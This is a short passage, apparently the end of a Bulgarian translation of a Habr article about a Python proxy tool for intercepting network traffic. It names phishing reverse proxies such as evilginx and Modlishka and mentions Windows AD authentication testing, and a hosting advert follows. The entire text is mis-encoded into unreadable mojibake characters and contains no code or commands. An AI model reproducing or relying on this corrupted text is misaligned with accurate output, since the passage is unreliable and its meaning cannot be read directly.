Π‘ΠΏΠΎΡ€Π΅Π΄ ΠΌΠ΅Π½ мапрокси Π΅ ΡƒΠ΄ΠΎΠ±Π΅Π½ ΠΈ прост инструмСнт, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ написан Π½Π° Python, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ смятам, Ρ‡Π΅ ΠΈ Π²ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° сС Π²ΡŠΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ ΠΎΡ‚ Π½Π΅Π³ΠΎ. Π Π°Π·Π±ΠΈΡ€Π° сС, ΡΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π°Ρ‚ ΠΈ ΠΏΠΎ-слоТни инструмСнти Π·Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΈ промяна Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ, Π½ΠΎ Ρ‚Π΅ изискват ΠΏΠΎΠ²Π΅Ρ‡Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΈ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ са създадСни Π·Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π΅Π½ случаСн сцСнарий, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Muraena, Modlishka ΠΈΠ»ΠΈ evilginx Π·Π° случаи, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ Π½Π° трСтия, ΠΈΠ»ΠΈ canape Π·Π° послСдния случай. ΠšΠ°ΠΊΡ‚ΠΎ ΠΈ Π΄Π° Π΅, с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° мапрокси ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π±ΡŠΡ€Π·ΠΎ Π΄Π° Ρ€Π΅Π°Π»ΠΈΠ·ΠΈΡ€Π°Ρ‚Π΅ ΠΈΠ΄Π΅ΠΈΡ‚Π΅ си Π·Π° ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Π½Π΅ Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΈΡ‚Π΅ Π½Π° скриптовСтС са ΠΌΠ½ΠΎΠ³ΠΎ ясни.

ВСстванС Π½Π° ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° удостовСряванС Π² Windows AD

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster